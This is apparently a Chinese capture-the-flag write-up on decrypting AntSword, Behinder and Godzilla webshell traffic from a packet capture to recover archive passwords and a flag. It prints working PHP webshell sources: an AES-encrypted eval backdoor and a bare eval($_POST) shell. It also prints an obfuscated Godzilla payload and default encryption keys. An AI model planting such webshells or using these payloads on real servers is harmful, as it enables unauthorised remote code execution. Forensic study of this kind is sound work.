当前位置: 首页 > news >正文

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)

考点: 蚁剑,冰蝎,哥斯拉流量解密
image.png
存在3个shell
过滤器
http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php"
image.png
POST请求存在明文传输 ant
一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常base64解码
Y2QgL2QgIkQ6XFwwLnBocHN0dWR5X3Byb1xcV1dXXFx3ZWIyIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=
image.png
image.png
返回包做了aes加密 不知道密钥 无法解密响应包
接着向下看
image.png
传输了rar文件 保存下来flag1.rar
image.png
存在密码 有flag1.txt
看shell2.php的流量
过滤器http.request.full_uri contains "shell2.php" or http.response_for.uri contains "shell2.php"
image.png
看响应 一眼冰蝎4流量
有webshell流量在线分析可以爆出来
https://potato.gold/navbar/tool/webshellDecrypt/index.php
image.png
e45e329feb5d925b 还是冰蝎默认密钥
请求

No.1184
$mode="show";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/shell1.php";...

响应

No.1187
{"status":"success","msg":"<?php@session_start();$pwd='ant';$key=@substr(str_pad(session_id(),16,'a'),0,16);@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?>"}

展示(show)了shell1.php源码

<?php@session_start();$pwd='ant';$key=@substr(str_pad(session_id(),16,'a'),0,16);@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?>

加密模式 AES-128-ECB 密码 ant 可以解密shell1的流量响应包
但是我们接着分析冰蝎流量数据

No.1113
$mode="show";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/shell3.php";...
No.1116
{"status":"success","msg":"<?phpeval($_POST["ctf"]);
//show了shell3.php的源码
"}No.824
$mode="downloadPart";$mode=base64_decode($mode);$path="D:/0.phpstudy_pro/WWW/web2/flag2.rar";
No.827
{"msg":"526172211a0701003392b5e50a01050600050101808000776b7c645602033ca00004950020b434a8f380030009666c6167322e747874300100030f26da1141fe4efb8622bc113d5b379d8f67a5542acbe1e7f007e93599569cf954a89fcedc6f70068bbc6ca8dc0a03022eff99e64505da01de33f6bb44622cd782cfa425c3d3539379027864818c7785412894c7923e99271d77565103050400","status":"success"}
//存在flag2.rar文件

image.png
提取出来 同样存在密码

分析shell3.php
http.request.full_uri contains "shell3.php" or http.response_for.uri contains "shell3.php"
存在明显的a-f,0-9字符 响应包开头和结尾是16为md5值,那么这个流量就一定是哥斯拉流量
image.png
每次请求携带

ctf=eval(base64_decode(strrev(urldecode('==gCN0nCN0HIgACIK0QfgACIgACIgAiCNsTK5V2akwSY0FGZkgSZk92YuVWPdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCIgACIgACIgACIgAiCNsXKlNHbhZWP9ESKi8mZul0cjl2chJEdldmIsEGdhRGJoM3bwJHdzhCImlGIgACIgACIgoQD7V2csVWfgACIgoQD7kiNxwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kSK5V2akwSKhRXYkRCKuVncAhSZk92YuVGKlR2bj5WZfRjNlNXYiByboNWZgACIgACIgAiCNsTK2EDLwwSK5V2ak4yczFGckgSNk1GKyR3ciV3cg8GajVGIgACIgACIgoQD7kCZh9Gb5FGckgCbhZXZJkgCN0HIgACIgACIgoQD7kSeltGJsQWYvxWehBHJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIgACIgoQD7lSZzxWYm1TP9kiIvZmbJN3YpNXYCRXZnJCLkF2bslXYwRCKz9GcyR3coAiZpBCIgACIgACIK0wOpkXZrRCLdVWbh5EZh9Gb5FGckslTPl0UTV0UfRCKlR2bj5WZ9QWYvxWehBHJgACIgACIgAiCNsXKp0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoQXZzNXaoAiZpBCIgAiCNsTK5V2akwSKdN3chBHJbR1UPB1XkgSZk92YlR2X0YTZzFmYoUGZvNmbl1TY0FGZkACIgAiCNsXKp01czFGcksFVT9EUfRCK0V2czlGKgYWaK0wOnUTZmhDZ2QGN3QTZkJ2YzAzJ9kXZrRiCNszJkF2bslXYwdSPl1WYORWYvxWehBHJK0wOnMjMxcWYsZ2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));

image.png
做了字符翻转和base64编码
image.png
可以拿到 哥斯拉密钥 03cbde474d6d8fe5 分析流量

No.117
cd /d "D:/0.phpstudy_pro/WWW/web2/"&rar a flag1.rar flag1.txt -p#ctf@flag123#" 2>&1No.130
cd /d "D:/0.phpstudy_pro/WWW/web2/"&rar a flag2.rar flag2.txt -p#flag@ctf123#" 2>&1

可以到两个压缩包的密码 解压拼接就是flag
flag{14db06b9-c7eb-4bc1-8d86-6e115c61e57d}

相关文章:

  • 汇编:保护模式下的寻址方式
  • Linux配置uwsgi环境
  • <题海拾贝>[递归]1.汉诺塔
  • PyCharm中 Fitten Code插件的使用说明一
  • 云计算——武汉理工期末复习
  • 迈向『闭环』| PlanAgent:基于MLLM的自动驾驶闭环规划新SOTA!
  • 【Python】(一)复习重点——控制流
  • 【经验】Ubuntu上离线安装VsCode插件浏览Linux kernel源码
  • Nginx配置详细解释:(4)高级配置
  • 使用#sortablejs插件对表格中拖拽行排序#Vue3#后端接口数据
  • Linux用户,用户组,所有者权限分配,sftp用户权限分配
  • 问题 B: 2.左右(lr.cpp/pas)
  • C++:程序设计实例
  • 2024/06/11--代码随想录算法1/17|理论基础、509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯
  • Spark的开发环境配置
  • SegmentFault for Android 3.0 发布
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • docker python 配置
  • iOS动画编程-View动画[ 1 ] 基础View动画
  • JavaScript类型识别
  • Js基础——数据类型之Null和Undefined
  • learning koa2.x
  • 代理模式
  • 前端知识点整理(待续)
  • 区块链共识机制优缺点对比都是什么
  • 实现简单的正则表达式引擎
  • media数据库操作,可以进行增删改查,实现回收站,隐私照片功能 SharedPreferences存储地址:
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • 树莓派用上kodexplorer也能玩成私有网盘
  • # 达梦数据库知识点
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • #QT(串口助手-界面)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (第61天)多租户架构(CDB/PDB)
  • (附源码)小程序儿童艺术培训机构教育管理小程序 毕业设计 201740
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (四) Graphivz 颜色选择
  • (转)JAVA中的堆栈
  • (转载)深入super,看Python如何解决钻石继承难题
  • ****Linux下Mysql的安装和配置
  • ./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’: ./incl
  • .bashrc在哪里,alias妙用
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .NET Entity FrameWork 总结 ,在项目中用处个人感觉不大。适合初级用用,不涉及到与数据库通信。
  • .net 流——流的类型体系简单介绍
  • .NET/C# 使窗口永不获得焦点
  • .Net7 环境安装配置
  • .NET多线程执行函数
  • .NET使用HttpClient以multipart/form-data形式post上传文件及其相关参数
  • //解决validator验证插件多个name相同只验证第一的问题
  • @EnableWebSecurity 注解的用途及适用场景
  • [ Algorithm ] N次方算法 N Square 动态规划解决
  • [ 渗透工具篇 ] 一篇文章让你掌握神奇的shuize -- 信息收集自动化工具
  • [2019.3.20]BZOJ4573 [Zjoi2016]大森林